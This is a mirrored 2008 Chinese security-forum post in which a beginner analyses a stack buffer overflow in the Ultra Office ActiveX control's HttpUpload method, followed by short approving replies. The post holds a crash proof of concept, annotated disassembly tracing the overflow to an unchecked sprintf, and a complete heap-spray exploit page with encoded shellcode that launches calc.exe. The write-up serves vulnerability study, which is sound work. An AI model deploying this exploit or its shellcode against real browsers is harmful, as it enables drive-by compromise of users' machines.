BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #19519同步于 2008/9/29
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

新人发个ultra office控件漏洞分析

faq
2008/9/29镜像同步4 回复
刚开始做漏洞分析这方面的工作 很菜 希望大牛指导。 暂时做的都是activex方面的分析,没有做系统的 以下是我分析的ultra office控件漏洞作为新人练手 参考了一个朋友的分析思路 发上来是希望如果以后有人做这方面工作时可以参考一下 因为我也是入门 所以过程写得比较详细(也比较菜) ================================ Comraider分析出HttpUpload函数有问题,构造一个POC如下: <html> <body> <object classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7" id="target"></object> <script> var s = "ABCDEFGHIJ"; while (s.length < 20000) { s += "ABCDEFGHIJ"; } target.HttpUpload(s,s,s); </script> </body> </html> 打开这个html直接关闭,不报错。那就在OD里面打开。 在最终出错时,栈底0012FFFC也被覆盖,所以在刚到officectrl.ocx的领域内时,在数据窗口中找到0012FFFC,此处下硬件写入断点。 F9跑起来,到中断处。 所以确定了是22023B83处的mov出问题。同时看到最后复制后的字符串是 Unable to start C:\Program Files\Ultra Office Control\upload.dll -k ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGH… 在ida中看一下, .text:22023B70 ; int __fastcall write_char(FILE *) .text:22023B70 _write_char proc near ; CODE XREF: _write_multi_char+11p .text:22023B70 ; _write_string+22p .text:22023B70 ; _write_string+3Bp .text:22023B70 ; __output_l+361p .text:22023B70 ; __output_l+37Ap .text:22023B70 test byte ptr [ecx+0Ch], 40h .text:22023B74 jz short loc_22023B7C .text:22023B74 .text:22023B76 cmp dword ptr [ecx+8], 0 .text:22023B7A jz short loc_22023BA0 .text:22023B7A .text:22023B7C .text:22023B7C loc_22023B7C: ; CODE XREF: _write_char+4j .text:22023B7C dec dword ptr [ecx+4] .text:22023B7F js short loc_22023B8C .text:22023B7F .text:22023B81 mov edx, [ecx] .text:22023B83 mov [edx], al .text:22023B85 inc dword ptr [ecx] .text:22023B87 movzx eax, al .text:22023B8A jmp short loc_22023B98 好像只是一个字节的复制,没看出问题。再去上层函数看看,方法是在22023BE9处设断点,跑到此处后查看栈发现上一级函数的返回地址。 再在22024529的上一句处设断点,在ida中看到这是write_string函数。 调试这个部分发现write_string函数会被调用2次,第一次不出错,第二次会出现溢出情况,即第二次才会进入write_char。第二次调用时分析如下: .text:22023BC7 ; Attributes: library function static .text:22023BC7 .text:22023BC7 ; int __fastcall write_string(int,int,int) .text:22023BC7 _write_string proc near ; CODE XREF: __output_l+866p .text:22023BC7 ; __output_l+8CDp .text:22023BC7 ; __output_l+8E8p .text:22023BC7 .text:22023BC7 arg_0 = dword ptr 4 .text:22023BC7 .text:22023BC7 test byte ptr [edi+0Ch], 40h .text:22023BCB push ebx .text:22023BCC push esi .text:22023BCD mov esi, eax ;eax数据内容为已经复制的个数,最开始是10h因为已经复制了Unable to start 。 .text:22023BCF mov ebx, ecx ;ecx内容是c:\program files\...\upload.dll –k ABCDEFGHIJABCDEFGHIJABCDEF 等,即复制源 .text:22023BD1 jz short loc_22023C07 .text:22023BD1 .text:22023BD3 cmp dword ptr [edi+8], 0 .text:22023BD7 jnz short loc_22023C07 .text:22023BD7 .text:22023BD9 mov eax, [esp+8+arg_0] .text:22023BDD add [esi], eax .text:22023BDF jmp short loc_22023C0E .text:22023BDF .text:22023BE1 ; --------------------------------------------------------------------------- .text:22023BE1 .text:22023BE1 loc_22023BE1: ; CODE XREF: .text:22023BE1 mov al, [ebx] .text:22023BE3 dec [esp+8+arg_0] ;减1 ,ms是待复制的数目 .text:22023BE7 mov ecx, edi ; FILE * ;ecx保存的就是复制的目的地址,在栈中,每复制一个字符,ecx内容指向的栈值加1,即指向下一个目的地 .text:22023BE9 call _write_char ;把al的内容写到栈内 .text:22023BE9 .text:22023BEE inc ebx ;ebx指向下一个要被复制的字符 .text:22023BEF cmp dword ptr [esi], 0FFFFFFFFh .text:22023BF2 jnz short loc_22023C07 .text:22023C07 loc_22023C07: ; CODE XREF: _write_string+Aj .text:22023C07 ; _write_string+10j .text:22023C07 ; _write_string+2Bj .text:22023C07 cmp [esp+8+arg_0], 0 ;判断待复制的长度是否为0 .text:22023C0C jg short loc_22023BE1 ;回去接着复制参数到目的地址 .text:22023C0C .text:22023BF2 .text:22023BF4 call __errno .text:22023BF4 .text:22023BF9 cmp dword ptr [eax], 2Ah .text:22023BFC jnz short loc_22023C0E .text:22023BFC .text:22023BFE mov ecx, edi ; FILE * .text:22023C00 mov al, 3Fh .text:22023C02 call _write_char .text:22023C02 这个函数里面也没见到堆栈操作有导致出错的嫌疑,所以接着去上一级函数看看。 text:22023C3C __output_l proc near 这个函数很长,在ida中基本没看明白。。。,所以换个思路: 因为本机复制的目的地是从0012DE80开始,这里会保存Unable to start C:\Program Files\Ultra Office Control\upload.dll -k ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGH… 之前需要有sub esp操作,所以觉得可能会在分配占空间时分配得过小而最终没有检查参数长度所以导致溢出。于是在OD中单步看看__output_l中有没有一个sub esp操作使得之前esp大于0012DE80,之后esp小于0012DE80。结果发现没有这种情况,那么再去上一级函数看看吧。 上一级函数是 .text:2201E92A ; int sprintf(char *,const char *,...) 其中调用了 .text:2201E97D call __output_l 猜测是不是这个sprintf没有检查参数长度导致溢出。同样在其代码中没发现有问题,再上一级函数。 在.text:22017C74 sub_22017C74 proc near 中单步发现了 .text:22017C7C sub esp, 134h 就是这句分配了sprintf需要的栈空间。这个就是我们需要的。之后的代码表明了调用sprintf的过程,包括压参数入栈之类的。 .text:22017D7C push [ebp+0B4h+lpCommandLine] ; push的内容是C:\Program Files\Ultra Office Control\upload.dll -k ABCDEFGHIJAB… .text:22017D7F lea eax, [ebp+0B4h+var_104] .text:22017D82 push offset s_UnableToStart ; "Unable to start %s\n" .text:22017D87 push eax ; char * 即0012DE80 .text:22017D88 call _sprintf 再看看是HttpUpload的哪个参数被复制导致溢出,将三个参数分别设为”AAAAAA…”,”BBBBBB…”,”CCCCCCCCCC….”就可以看到是第三个参数被复制到栈里面导致溢出的。 综上可知,因为参数是无效的,所以ultra返回错误提示,它没有检查参数长度就用sprintf生成最终错误提示: Unable to start C:\Program Files\Ultra Office Control\upload.dll –k 第三个参数 从而导致最后溢出。 这个漏洞的利用可以用heap Spray方式,如下是弹出计算器。 <script language="JavaScript" defer> var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); var sSlide = unescape("%u9090%u9090"); var heapSA = 0x0c0c0c0c; function tryMe() { var buffSize = 20000; var x = unescape("%0c%0c%0c%0c"); while (x.length<buffSize) x += x; x = x.substring(0,buffSize); boom.HttpUpload("d", x, x); } function getsSlide(sSlide, sSlideSize) { while (sSlide.length*2<sSlideSize) { sSlide += sSlide; } sSlide = sSlide.substring(0,sSlideSize/2); return (sSlide); } var heapBS = 0x400000; var sizeHDM = 0x5; var PLSize = (sCode.length * 2); var sSlideSize = heapBS - (PLSize + sizeHDM); var heapBlocks = (heapSA+heapBS)/heapBS; var memory = new Array(); sSlide = getsSlide(sSlide,sSlideSize); for (i=0;i<heapBlocks;i++) { memory[i] = sSlide + sCode; } </script> <body onload="JavaScript: return tryMe();"> <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7"> Unable to create object </object> 最后的利用代码来自网上。 LC@BUPT 附上一个pdf,里面有图,更详细 附件(131KB)
订阅后,新回复会通过你的通知中心匿名送达。
4 条回复
lnln1111机器人#1 · 2008/9/29
大赞技术贴,虽然我看不懂!
xindeng机器人#2 · 2008/9/30
看不懂
flyingkisser机器人#3 · 2008/10/6
不错,顶了。 版面很少发技术文章了。 【 在 faq (我就是 发Q) 的大作中提到: 】 : 刚开始做漏洞分析这方面的工作 很菜 希望大牛指导。 : 暂时做的都是activex方面的分析,没有做系统的 : 以下是我分析的ultra office控件漏洞作为新人练手 : ...................
rebirthatsix机器人#4 · 2008/10/6
【 在 flyingkisser 的大作中提到: 】 : 不错,顶了。 : 版面很少发技术文章了。 re